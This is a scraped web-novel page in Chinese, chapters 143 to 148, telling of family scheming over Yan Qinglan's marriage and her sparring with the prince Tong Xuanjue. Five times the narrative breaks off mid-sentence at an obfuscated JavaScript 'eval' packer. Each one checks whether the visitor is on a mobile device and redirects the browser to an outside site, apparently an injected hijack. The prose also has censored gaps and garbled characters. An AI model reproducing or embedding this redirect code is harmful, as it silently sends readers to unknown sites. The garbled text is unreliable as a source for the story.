晏老夫人抬眼, 目光落在晏玥玥脸上, 眉头微微皱了皱: “玥玥这是怎么了?可是磕着碰着了?” 晏玥玥紧紧地咬着嘴唇, 眼泪在眼眶里打转, 却倔强地不肯吭声。 钱雅芝脸上的笑容有些维持不住, 僵硬地扯了扯嘴角: “大夫说是受了风寒,开了方子,吃几服药就好了,不碍事的。” 晏老夫人“嗯”了一声,没再说什么, 只淡淡地瞥了钱雅芝一眼, 那眼神, 分明是在说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019345|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “你可得给我仔细着点!” 晏芸清的视线在晏玥玥红肿的脸上扫过, 语气平淡得像是拉家常: “瞧这脸肿的,怕是疼得厉害。回头我让人送盒珠华膏过去,每日涂抹几次,好得快些。” 晏玥玥听了, 心里更不是滋味了。 她都伤成这样了, 祖母和大姐还对她这么冷淡! 她忍不住偷偷地瞟了一眼晏清萦, 那个总是低眉顺眼, 恨不得把自己缩成一团的五姐姐。 凭什么她就没事? 受伤的偏偏是自己! 晏清萦像是能感受到晏玥玥的目光似的, 把头垂得更低, 恨不得把自己藏进阴影里, 一言不发。 晏老夫人轻轻地敲了敲桌面, 示意她们坐下。 丫鬟们端着茶水点心, 悄无声息地退了出去。 钱雅芝几次欲言又止。 晏老夫人却像是没看见似的, 慢悠悠地品着茶, 一点儿也不着急。 钱雅芝无法,只得硬着头皮开口: “母亲,您身子骨可还好?最近天气转凉,您可得仔细着些。” 晏老夫人淡淡地回了句: “还死不了。” 钱雅芝被噎了一下, 但还是强撑着笑脸, 把晏玥玥拉到身边, 轻轻地拍着她的手背, 又做作地用帕子擦了擦眼角: “阿清病了,我这当娘的心里头实在是不放心,想带孩子们去看看她。” 她顿了顿, 声音里带着几分急切: “那悔过书的事儿……她到底知不知道?” 那张纸, 就像是卡在她喉咙里的一根刺, 咽不下去, 又吐不出来, 让她日夜难安。 晏老夫人转动着手中的佛珠, 眼皮都没抬一下: “我的身子骨我自己清楚,用不着你们操心。” “你要是真想去,就自己去,别拉上我这把老骨头。” 她心里清楚得很, 钱雅芝带上晏清萦也就罢了, 若是带上晏玥玥, 那不是成心去给晏清澜添堵吗? 她可不想让钱雅芝如意。 钱雅芝的脸色顿时变得难看起来, 她没想到晏老夫人会拒绝得这么直接。 第一百四十四章 晏玥玥再也忍不住了, 眼泪“唰”地一下就流了下来: “祖母,您是不是不喜欢玥儿?您是不是还在生娘的气?四姐姐她……她肯定是不想见到我们的。” 一旁的晏清萦, 身子微微一颤, 但很快又恢复了平静。 她低着头, 嘴角勾起一抹不易察觉的冷笑。 晏玥玥这招以退为进, 用得可真是“妙”啊! 这是想给晏清澜泼脏水? 她偷偷地抬眼, 想看看晏老夫人的反应。 只见晏老夫人依旧面不改色, 只是看向晏玥玥的眼神, 多了几分玩味。 晏清萦心下了然, 垂下眼眸, 没有说话。 晏老夫人放下手中的茶盏, 声音冷冷的: “既然知道阿清不想见你们,就别去自讨没趣了。” “她身子刚好些,你们还舔着脸往上贴,是想让她再病倒不成?” 平日里, 她在晏清澜面前, 总是和蔼可亲的。 如今收起了那副慈祥的面孔, 声音冷得像冰块, 浑身上下都散发着生人勿近的气息。 晏玥玥被吓了一跳, 心里更加委屈。 她早就不想来了, 是娘非要拉着她来! 现在好了, 老太太又开始摆谱了! 晏玥玥想不通, 晏老夫人有什么好得意的? 压根就不是她亲奶奶, 凭什么在她面前摆架子? 钱雅芝也被晏老夫人的话噎得够呛。 她把希望寄托在晏芸清身上, 希望她能说几句好话。 晏芸清却只是淡淡地笑了笑: “祖母说得有理,阿清身子弱,需要静养。” “咱们还是别去打扰她了,五六两个妹妹要是存心,送些补品过去也就是了。” 她这话, 既没有驳了晏老夫人的面子, 又给钱雅芝留了台阶下。 晏玥玥不知道该说什么好, 心里对这个总是和她作对的大姐更加不满。 她一把拉过晏清萦, 声音里带着几分恼怒和委屈: “四姐姐不见我也就罢了,难道连五姐姐也不见吗?她是不是太不近人情了!” 她手上的力气很大, 像是要把心里的怨气都发泄出来。 晏清萦被她扯得一个踉跄, 胳膊一阵生疼, 却不敢有丝毫怨言。 她咬了咬嘴唇, 声音细如蚊蚋: “昨儿个……厉夫人来府上了,说是四姐姐受了风寒,头疼得厉害,怕是见不得人。” 她没有直接回答晏玥玥的问题, 只是把事情的经过说了一遍。 晏老夫人缓缓地开口, 一锤定音: “既然头疼,那就更要好好休息。你们去了,阿清还得强打精神应付你们,这病什么时候才能好?” 她看向钱雅芝, 目光冷冽如刀: “你们几个,谁都不许去打扰阿清!” 晏清萦暗暗松了口气。 她可不想成为钱雅芝手中的棋子。 她低着头, 轻声应道: “是。” 声音虽小, 却透着一股坚定。 钱雅芝只觉得心里像是被什么东西堵住了似的, 难受得厉害。 她万万没料到, 晏老夫人竟然如此不近人情! 钱雅芝咬紧牙关, 她就不信了! 晏清澜还能一辈子躲着不见人? 钱雅芝声音拔高了几分,带着质问的口气, 全然忘了这是在谁的地盘: “她总不能躲一辈子吧?她迟早要嫁出去,难不成还想从那破宅子里出嫁?” “浮萍居”这名字, 她越想越觉得晦气。 晏清澜取这名字, 分明就是没安好心! 钱雅芝现在几乎要控制不住自己的怒火,她甚至想起了之前几次在晏清澜那里吃的瘪,自己儿子也是因为晏清澜才会被赶出家门... 晏老夫人脸色一沉, 眼神如刀, 冷冷地看向钱雅芝。 她缓缓地站起身, 居高临下地看着钱雅芝, 声音里带着不容置疑的威严: “阿清的婚事,还轮不到你来指手画脚!”“我是她娘!她的婚事,我说了才算!” 钱雅芝“啪”地一声把手里的茶杯重重地摔在桌上,溅出的茶水烫得她手背通红,可她却像感觉不到疼似的,依旧瞪着一双充血的眼睛,死死地盯着晏老夫人。 她豁出去了,今天无论如何也要争出个结果来。 在钱雅芝心里,晏清澜的婚事,就是她手里的一张王牌,一张可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019346|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以用来跟澜王府谈判的王牌,怎么能轻易让给别人? 更何况,她生了晏清澜,一把屎一把尿地把她拉扯大,难道连决定她嫁给谁的资格都没有吗? 天底下哪有这样的道理! 她绝不甘心! 晏老夫人稳稳地坐在太师椅上,对钱雅芝的失态举动视若无睹,甚至连眼皮都没抬一下。 她慢悠悠地端起手边的茶盏,轻轻吹了吹,然后不紧不慢地抿了一口,仿佛钱雅芝的怒火根本不存在。 “阿清的亲事,陆家自会安排,用不着你操心。” 晏老夫人放下茶盏,语气平静得像是在说一件再平常不过的事情,却带着不容置疑的威严,像是一座大山,压得钱雅芝喘不过气来。 她抬眼,目光淡淡地扫过钱雅芝,语气中带着一丝警告: “陆家会给阿清寻一门好亲事,你与其在这里瞎嚷嚷,倒不如好好想想怎么给阿萦找个好婆家,也算你尽了当娘的本分。” 钱雅芝被噎得差点背过气去,胸口像是堵了一块大石头,憋闷得厉害。 什么叫“陆家自会安排”? 傅清霁那个老妖婆,恨不得把晏清澜当成心肝宝贝一样捧在手心里,怎么可能让她嫁给童玄珏那个病秧子? 难道她真的要眼睁睁地看着晏清澜嫁入高门大户,从此飞上枝头变凤凰,而她的玥玥,却只能屈居人下? 凭什么! 说实话,如果不是醉月楼出了事,如果不是赵家生意上一落千丈,钱雅芝也不是不能接受晏清澜嫁得好。 毕竟,晏清澜若是能嫁入高门,对晏玥玥来说,也是一个助力。 可如今,情况不一样了。 赵家需要晏清澜的婚事来翻身,晏清萦也需要一个好归宿。 钱雅芝心里早就盘算好了,晏清萦是她手里的另一张牌,一张用来笼络韩承煜那些个下属的牌。 她要用晏清萦的婚事,为韩承煜铺路,为赵家换取更多的利益。 这些话,当着晏老夫人的面,她是万万不能说出口的。 她只能强压下心头的怒火,咬着牙,憋屈地应了一声“是”,声音低得像蚊子哼哼,听不出半点真心。 晏清萦静静地坐在角落里,身子微微发颤,指甲深深地掐进了掌心,却感觉不到一丝疼痛。 她知道,沦为他人工具的时刻,越来越近了。 她就像是砧板上的一块肉,任人宰割,却无力反抗。 她能有什么办法? 一个无权无势的庶女,在强大的家族利益面前,不过是一粒微不足道的尘埃。 第一百四十五章 她只能默默祈祷,祈祷钱雅芝日后给她选的夫婿,人品能稍微好一点,别让她一辈子都活在水深火热之中。 论及门第相貌? 那是她连做梦都不敢想的事情。 晏玥玥坐在另一边,脸色越来越难看,心里像是有一团乱麻,越理越乱。 陆家到底会给晏清澜安排什么样的亲事? 这个问题,像是魔咒一样,在她脑海里不断回响,让她心烦意乱,坐立难安。 她紧紧地攥着手中的帕子,指节因为用力而泛白,心里涌起一股莫名的恐慌。 万一……万一晏清澜或者宋溪溪看上了韩承煜,她该怎么办? 宋溪溪家世显赫,她根本比不过。 而晏清澜…… 就算她再不愿意承认,也不得不说,晏清澜长得实在是太美了,美得让人嫉妒,美得让人移不开眼。 她的承煜哥哥,真的能抵挡住这些诱惑吗? 他会不会…… 晏玥玥不敢再想下去,她害怕听到那个让她心碎的答案。 会的吧? 承煜哥哥一定不会的! 他是那么好的人,他答应过她,会永远对她好的。 晏玥玥努力地安慰自己,试图让自己相信韩承煜,可心里的不安却像野草一样,疯狂地生长着。 直到钱雅芝带着她和晏清萦离开,晏玥玥依旧心神不宁,魂不守舍,掌心被掐破了,渗出了血珠,她也浑然不觉。 人走光了,偌大的房间里,只剩下晏老夫人一个人。 她轻轻地叹了口气,声音里带着一丝疲惫,一丝无奈。 她缓缓转过身,对着空无一人的屏风,轻声说道: “阿清,出来吧,人都走了。” 晏清澜从屏风后走了出来,神色平静,看不出任何情绪波动。 钱雅芝刚才那些话,似乎并没有对她造成任何影响,又或者她根本没放在心上。 “祖母,您别听她胡说八道,她的话,不值一提。” 晏清澜走到晏老夫人身边,轻声安慰道。 “我知道,我都知道。” 晏老夫人拉过晏清澜的手,轻轻拍了拍,眼神中充满了慈爱, “阿清,这些年,你受苦了。祖母知道,你心里委屈。但你要相信,祖母一定会为你做主的。” 晏清澜摇摇头, “祖母,我不委屈。这些年,您才是最辛苦的。” 晏老夫人这些年过得有多不容易,晏清澜比谁都清楚。 钱雅芝是什么样的人,她一眼就能看穿,自私自利,心胸狭窄,为了达到目的不择手段。 可晏老夫人却要和这样的一个人朝夕相处,每天都要应付她的各种算计,各种刁难,这需要多大的耐心,多大的隐忍? 晏清澜想想都觉得心疼。 钱雅芝就像是一只赶不走的苍蝇,时不时地就要飞到晏老夫人面前来嗡嗡几声,不是为了这个,就是为了那个,总之没个消停的时候。 晏老夫人上了年纪,本该安享晚年,却还要为了这个家,为了她们这些小辈,操碎了心。 晏清澜想把晏老夫人接到外面去住,让她远离钱雅芝那个祸害。 可她知道,现在还不是时候。 晏明远和钱雅芝是绝对不会同意的。 他们需要晏老夫人这块遮羞布,来维持他们在外的名声。 孝道,是这个时代最锋利的武器,也是最沉重的枷锁,能**于无形。 晏清澜和晏芸清陪着晏老夫人说了一会儿话。 说的都是些家常,比如最近苏府里发生的一些趣事,晏芸清新学了什么女红,晏清澜又做了什么好吃的…… 晏老夫人听得津津有味,脸上的笑容也多了起来。 不知不觉,天色渐晚,夕阳的余晖透过窗户洒进来,给房间镀上了一层金色的光辉。 晏老夫人看了看外面的天色,有些不舍地拉着晏清澜的手。 “阿清,时候不早了,你也该回去了,别让你义母她们担心。” 晏老夫人顿了顿,又像是想起什么似的,叮嘱道: “路上小心些,让府里的护卫送你回去,最近不太平,别一个人走夜路。” 晏清澜乖巧地点头应下,晏芸清也让她路上多加小心。 出了晏老夫人的院子,晏清澜并没有直接回韩府,而是绕到了苏府的后院。 苏府的侍卫,在她眼里就是摆设,她想从哪儿走,没人能拦得住。 她几个起落,轻松越过高墙。 刚一落地,就听见身后传来一声轻笑。 晏清澜心里一惊,猛地回头,就看见一个戴着银色面具的高大身影,正站在不远处,静静地看着她。 月光下,那双深邃的眼眸,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026233|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是夜空中最亮的星辰,闪烁着令人捉摸不透的光芒。 尤戟站在自家主子身后,大气都不敢出,只觉得自己很多余。 这种场面,他还是回避比较好。 他默默地往后退了几步,努力降低自己的存在感。 晏清澜也没想到,自己翻个墙,竟然还能撞见“熟人”,这运气也真是没谁了。 她定了定神,强装镇定地看着童玄珏。 童玄珏嘴角微微勾起,露出一抹玩味的笑容。 “晏四姑娘这是……舍不得走?” 他故意把“舍不得”三个字咬得很重,语气中带着一丝戏谑。 晏清澜在心里翻了个白眼,这人还真是会倒打一耙。 她装出一副茫然的样子,眨了眨眼睛,无辜地看着童玄珏。 “殿下……是在跟我说话吗?” 她心里很清楚,自己从未以苏府四姑娘的身份与童玄珏见过面,更没有在他面前暴露过身份,他不可能认出她来。 童玄珏看着她,眼神中闪过一丝玩味。 “这里还有别人吗?” 他反问道,语气中带着一丝戏谑。 “可我……不认识殿下啊。” 晏清澜继续装傻,一脸无辜地看着童玄珏。 童玄珏似乎并不意外,他微微一笑,反问道: “那晏四姑娘,又如何知晓我是谁?” 他的声音低沉而富有磁性,像是一阵微风,轻轻拂过晏清澜的心头。 晏清澜早就料到他会这么问,心里早就有了答案,只是嘴上却不能这么说。 她眨了眨眼睛,一脸天真地看着童玄珏, “京城里谁不知道燕王殿下的大名?臣女虽然不常出门,但也有所耳闻。” “哦?是吗?” 童玄珏挑了挑眉,似乎并不相信晏清澜的说辞。 “那晏四姑娘,都听说了些什么?” 他饶有兴致地问道,似乎很想知道自己在别人眼中是什么样的形象。 晏清澜心想,这人还真是难缠,非要打破砂锅问到底。 她清了清嗓子, “听的多了,一时也说不清...不过,殿下也无需在意,传言当不得真。” 童玄珏看着她,嘴角的笑意更深了。 “传言当不得真...这话从你嘴里说出来,倒是颇有深意。 第一百四十六章 也罢,你既不愿多说,我也不勉强。”“哦?晏四小姐想表达的是,在我面前,那些关于本王的传言都不作数了?” 童玄珏微微侧过身,眼尾余光轻飘飘地扫过她,像是羽毛拂过水面,激起一丝涟漪。 晏清澜:“……” 倒也不是。 她嘴角抽了抽,硬扯出一个笑,僵硬的弧度像是被人用针线缝在了脸上,生硬又虚假。 “自然。” “殿下若无事,臣女就先行告退了。”她敷衍地行了个礼,福身,转身,抬脚,动作一气呵成,像排练过无数遍似的。 可童玄珏偏偏不如她的愿。 他不动声色地横移一步,不远不近,恰好挡在她身前。像一堵墙,隔开了她与自由,也隔开了她与外界。 晏清澜深吸一口气,又缓缓吐出,仿佛要将胸腔内的郁闷和烦躁都排出去。再抬眼,眸中已染上几分冷意,如寒冬腊月里的冰霜。 童玄珏像是没注意到她情绪的变化,又或许是注意到了也浑不在意,依旧是一副云淡风轻的模样。 他的声音低沉,带着几分漫不经心:“晏四姑娘,你还没回答本王的问题。”像是随口一提,又像是步步紧逼。 晏清澜闭了闭眼,复又睁开。 她在心里翻了个大大的白眼,面上却是不显山不露水。 事已至此,急也没用,躲也躲不开。 她索性停下脚步,定定地看着童玄珏,忽而一笑,笑容明媚,却带着几分挑衅, “殿下,您知道乌龟为什么能活那么久吗?”她顿了顿,语气中带着几分莫名的意味,像是在暗示什么。 不等童玄珏回答,或者说,她根本没打算让童玄珏回答,也没给他回答的机会。 晏清澜自顾自地接了一句,声音清脆,却带着刺,“因为它从不乱伸脖子。” 站在一旁的尤戟默默地往后退了一步,尽量降低自己的存在感,把自己缩成一团。 他暗自吞了吞口水,生怕下一刻,这晏四姑娘的血会溅到自己脸上,又或者,是自己的血溅到晏四姑娘脸上。 让他没想到的是,童玄珏并没有如他想象中那般暴怒,也没有拂袖而去。 他只是微微眯起眼睛,饶有兴致地看着晏清澜,唇角勾起一抹似笑非笑的弧度,好似在看一只张牙舞爪的小猫, “是吗?晏四姑娘真是见多识广。”他的声音依旧平稳,听不出喜怒,但尤戟知道,自家主子这是真的动了怒。 如果他记忆没出错,这已经是晏清澜第二次拐着弯骂他多管闲事了。 不过……他怎么觉得,主子似乎还挺乐在其中的? 暮色四合,天边最后一抹余晖也消失殆尽。 晏清澜站在阴影里,看不清表情。 她微微仰起头,声音冷冷的,像淬了冰的刀子, “童玄珏,我才不在乎你怎么会在这。”她顿了顿,语气愈发冷冽,带着不容置疑的决绝,“你也别管我为什么翻墙。你走你的阳关道,我过我的独木桥,咱们互不相干。” 舒临风曾说,越是美丽的女人,越是带刺。 童玄珏从前不信,觉得那不过是风月场中的戏言。 如今看来,这话倒也不全是假。 至少,晏清澜现在这副冷若冰霜、拒人于千里之外的样子,就比她之前那些虚情假意的逢迎要真实得多。 童玄珏微微颔首,嘴角的笑意不减反增,带着几分玩味和欣赏。 他缓缓开口,声音低沉而缓慢,仿佛带着某种蛊惑人心的力量,“你是翻墙,而我,只是路过。” 晏清澜心里冷笑。 路过? 鬼才信他的话。 她微微偏过头,避开童玄珏的视线,不想与他对视, “行,您说是路过,那就是路过。”她的语气中带着几分敷衍和不耐,“那您请便,我不打扰您路过了。” 童玄珏这次倒是没有再拦着她,只是静静地站在原地,看着晏清澜转身离开。 可没走几步,晏清澜就察觉到身后传来一阵轻微的脚步声。 那脚步声不紧不慢,如影随形,像是一只无形的鬼魅,紧紧地缠着她。 是童玄珏。 晏清澜猛地停下脚步,霍然转身,目光如炬,死死地盯着缓步走来的童玄珏, “燕王殿下,您这是何意?” 她双手抱胸,微微抬起下巴,摆出一副防御的姿态。她上下打量着童玄珏,眼神中毫不掩饰的嫌弃和警惕。 突然,她像是想到了什么,嘴角勾起一抹嘲讽的笑,故意做出一副娇羞的模样,

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026234|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我知道了!殿下该不会是……看上我了吧?”她眨了眨眼,眼神中闪过一丝狡黠,“可我听说,燕王殿下您不是……不近女色吗?” 童玄珏脚步未停,在离晏清澜三步远的地方站定。 他居高临下地看着她,眼神中带着几分玩味和轻蔑, “伶牙俐齿,颠倒黑白。”他一字一顿地评价道,语气中没有丝毫温度,像是在陈述一个事实。 晏清澜毫不示弱地反唇相讥,“比不上殿下您,血口喷人。” 站在一旁的尤戟觉得现在的气氛很微妙,他进退两难。 他默默地往后退了几步,恨不得把自己变成一块石头,或者一棵树,总之,不要引起任何人的注意。 他深吸一口气,又缓缓吐出,努力平复着自己紊乱的呼吸,终于鼓起勇气开口,打破了这诡异的沉默, “主子,属下突然想起还有要事未办,先行告退。” 说完,他也不等童玄珏回应,便转身匆匆离开,脚步凌乱,像是在逃命。 天知道他刚才经历了什么! 他决定还是自己去找东西,哪怕多花些时间,也比留在这里当炮灰强。 童玄珏淡淡地扫了他一眼,脸上看不出半点不快,只是微微颔首,算是默许了。 尤戟一走,原本剑拔**张的气氛似乎缓和了些,又似乎更加紧张了。 晏清澜看着童玄珏,目光中带着几分戏谑和玩味, “您的这位侍卫,倒是挺有眼力见的。”她微微扬起下巴,语气中带着几分嘲讽,“怎么,怕了?” 她顿了顿,目光直视着童玄珏,语气骤然转冷, “童玄珏,现在没人打扰了,你想问什么,就尽管问吧。” 说完,她也不等童玄珏反应,便转过身,目不斜视地往前走,只留给童玄珏一个清冷的背影。 她知道,童玄珏一定会跟上来。 果然,身后传来一阵轻微的脚步声,沉稳而有力。 童玄珏的步子很大,很快便追上了她,与她并肩而行。 他的目光并没有落在晏清澜身上,而是看着前方,像是透过重重迷雾,看到了什么不为人知的东西。 他的声音很轻,却很清晰,带着几分笃定,“晏清澜,你一早就知道八皇子会**。 第一百四十七章 ” 晏清澜脚步未停,目不斜视。 她的确知道。 但她绝不会承认。 “殿下说笑了。”她淡淡地回了一句,语气平静得没有一丝波澜,像是在谈论一件与自己无关的事情,“我不过是一介深闺女子,如何能预知朝堂之事?” 童玄珏侧过头,看着她,目光深邃,像是要看穿她的伪装, “你不需要预知,你只需要知道,有人不想让他活。”他顿了顿,语气中带着几分试探,“而且,你还知道那些人是谁。” 晏清澜依旧没有看他,声音依旧平静, “殿下,您太看得起我了。我若真有这般本事,又何必困于这小小宅院之中?”她自嘲地笑了笑,“我不过是……比别人多留心了些罢了。” 童玄珏似乎并不在意她是否承认,他只是微微眯起眼睛, “所以,你才故意收下那些贺礼?”他的声音中带着几分玩味,“借刀**,玩得不错。” 晏清澜终于停下了脚步。 她转过头,看着童玄珏,目光中带着几分冷意, “殿下,您这话是什么意思?”她冷笑一声,“难道您给我的那些物件,不是为了试探我?” “哦?”童玄珏挑了挑眉,“那你觉得,我试探出什么了?” 晏清澜深吸一口气,强压下心中的怒火, “殿下,您究竟想说什么,不妨直说。”她不想再和他绕圈子了,“您给我的那些物件,不就是为了把我推到风口浪尖上,替您挡那些明枪暗箭吗?” 童玄珏笑了,笑声低沉而悦耳,却带着几分冷意, “晏清澜,你比我想象的还要聪明。”他顿了顿,语气中带着几分赞赏,“既然如此,那你应该知道,我为什么要这么做。” 晏清澜冷冷地看着他, “我不知道,也不想知道。”她咬牙切齿地说道,“我只知道,你把我当成了棋子,利用完了就想一脚踢开,没门!” 童玄珏微微眯起眼睛, “棋子?你太高看自己了。”他轻描淡写地说道,“你不过是……一颗石子。” “石子?”晏清澜冷笑,“用来探路的石子?” “也可以这么说。”童玄珏并不否认。 晏清澜气得浑身发抖。 她深吸一口气,努力让自己平静下来, “童玄珏,你别忘了,你还欠我一个人情。”她一字一顿地说道,“我不管你有什么目的,但你若是敢动我身边的人,我绝不会放过你!” 童玄珏看着她,目光深邃, “你放心,我还不至于对几个手无缚鸡之力的女人动手。”他顿了顿,语气中带着几分警告,“但你最好也别耍什么花样,否则,后果自负。” 晏清澜看着他,眼神复杂。 她知道,童玄珏虽然心狠手辣,但还不至于丧心病狂到对无辜之人下手。 她刚才那么说,不过是想警告他,让他不要轻举妄动。 她深吸一口气,缓缓吐出, “好,我答应你。”她顿了顿,语气中带着几分无奈,“但愿我们……都能平安无事。” 童玄珏没有说话,只是静静地看着她。 夜色渐浓,将两人的身影拉得很长,很长……“这番话也给你听听。” 童玄珏眼皮微掀,似笑非笑地睨着晏清澜,眸子里像是淬了层薄冰,那是无声的警告。 “你想做什么,本王管不着。但你若敢把主意打到澜王府……” 他故意顿了顿,尾音微微上扬,像是在掂量着什么,又像是在等着她主动接话。 晏清澜却不接他的茬,只是唇角一勾,回敬了他一个如出一辙的微笑。 那笑容,明媚又张扬,像一朵在暗夜里盛开的**,危险又迷人。 “殿下多虑了,我可没那么大的胃口。” 她微微偏头,语气轻快,仿佛只是在谈论今天的天气。 “我所求,不过自保,保全我想护着的人而已。” 夕阳的余晖洒在她身上,勾勒出她单薄却挺拔的身影。 一半沐浴在光明中,一半隐匿在阴影里,让人看不清她眼底的情绪。 童玄珏的眼中倒映出这张精致的面容,却分明能感觉到她周身散发出的冷冽疏离,像一朵带刺的玫瑰,美得让人不敢轻易触碰。 两种截然不同的气质,在她身上奇异地融合,让他不自觉地眯起了眼。 “但愿,”晏清澜抬眸,目光清亮,直视着童玄珏,“我这辈子都不会跟你对着干。” 童玄珏的目光,在她脸上细细逡巡,像一位经验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031374|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老道的猎人,在评估着自己的猎物。 晏清澜说她所求不多,只为自保,只想保全想护着的人。 这话,听起来多么天真,又多么可笑。 他本想出言嘲讽,告诉她这世道的残酷,告诉她在这权力漩涡中,所谓的“自保”,不过是痴人说梦。 可话到了嘴边,看着她那双清澈却又坚定的眼睛,不知为何,又被他咽了回去。 只想守护重要的人平平安安,谈何容易? 有些人,机关算尽,甚至赔上性命,也没能护住自己想护的人。 童玄珏看着晏清澜,眼底的光芒渐渐敛去,声音也冷了下来,像是结了冰的湖面,平静却寒冷。 “但愿你的运气,能一直这么好。” 他没头没尾地来了这么一句,也不解释,说完便转身欲走。 晏清澜却像是听懂了似的,微微颔首,唇角噙着一抹意味深长的笑。 “那就借殿下吉言了。” 童玄珏没再说什么,迈步离开。 晏清澜本就不是那种喜欢纠缠不清的人,见状自然也不会多说什么。 两人之间,一时????????静。 \- “阿清!” 一声急切的呼唤,打破了这短暂的沉默。 晏子晏从街边一家铺子里冲了出来,老远就瞧见了两人。 他一眼就认出了晏清澜,脸上顿时绽放出灿烂的笑容,像是捡到了什么宝贝。 然而,当他的目光落在晏清澜身旁的童玄珏身上时,那笑容却瞬间凝固,脸色也变得煞白。 晏子晏对童玄珏的“凶名”可谓是早有耳闻,此刻心中警铃大作,脑海中只剩下一个念头: 坏了!他妹妹怎么会和这个活阎王在一起?! 他几乎是想都没想,拔腿就朝两人冲了过去,一把抓住晏清澜的胳膊,力道之大,像是要把她从童玄珏身边拽走。 晏清澜被他这突如其来的动作吓了一跳,本能地想要反抗,但感受到他并无恶意,只是出于本能的维护,这才硬生生忍住了。 “阿清,你没事吧?” 晏子晏顾不上其他,拉着晏清澜上下打量,生怕她少了一根头发。 “四哥刚刚在那边看到个好东西,想带你去看看,没想到… 第一百四十八章 …你先跟四哥走,咱们离他远点!” 他一边说着,一边拉着晏清澜就走,像是生怕童玄珏会突然扑上来似的。 他这副如临大敌的模样,倒是让晏清澜有些哭笑不得。 她想解释,却又不知从何说起。 索性由着他拉着自己走,免得他一直提心吊胆。 “哎呀,殿下也在这儿啊?真是巧了。” 晏子晏像是这才注意到童玄珏,脸上挤出一个比哭还难看的笑容, “那个……我和妹妹还有点事,我先撤了,我们先走一步。” 他这话说得客气,可那眼神,那动作,明明白白地写着“您老人家行行好,赶紧走吧”。 童玄珏是什么人? 他一眼就看穿了晏子晏那点小心思。 他非但没有生气,反而觉得有趣。 他微微挑眉,唇角勾起一抹玩味的笑,轻轻点了点头,算是应允了。 晏子晏生怕他反悔,拉着晏清澜就跑,那架势,活像身后有恶鬼在追。 童玄珏望着两人仓皇逃窜的背影,眼中兴味更浓。 这庄家兄妹,倒是一个比一个有意思。 想当初,晏子晏护晏玥玥护得跟什么似的,眼里哪有晏清澜这个四妹妹? 这才多久,他就跟变了个人似的,竟开始真心实意地护着晏清澜了。 看来,这苏府的天,怕是真的要变了。 \- 晏子晏拉着晏清澜跑出好远,直到确认童玄珏没有追上来,这才敢停下。 他扶着膝盖,大口大口地喘着粗气,额头上满是汗珠。 一停下来,他连忙松开晏清澜的手,满脸歉意地道歉: “阿清,对不住,四哥刚刚……刚刚是看见童玄珏那个阎王,吓得腿都软了,才会……” 他一边说着,一边心有余悸地拍着胸口,像是要把那颗快要跳出嗓子眼的心脏给按回去。 晏清澜看着他这副惊魂未定的模样,轻轻摇了摇头,声音很淡: “没事。” 她确实没生气。 她本来就不想再与童玄珏有什么瓜葛,晏子晏的出现,正好替她解了围,她自然不会怪他。 晏子晏见她神色平静,那双眸子清澈见底,像是能洞察人心,一时竟不知该说些什么。 但一想到童玄珏,他心中的警铃又“嗡嗡”作响,顾不上其他,忙不迭地叮嘱道: “阿清,你可千万要记住,那个童玄珏不是什么好人!他就是个**不眨眼的魔头,你下次再见到他,一定要躲得远远的!” “万一他哪天心情不好,想拿你开刀,你哭都没地方哭去!” “你刚回京城,可能不知道他的厉害,但四哥跟你说,他就是个疯子,咱们惹不起,只能躲!” 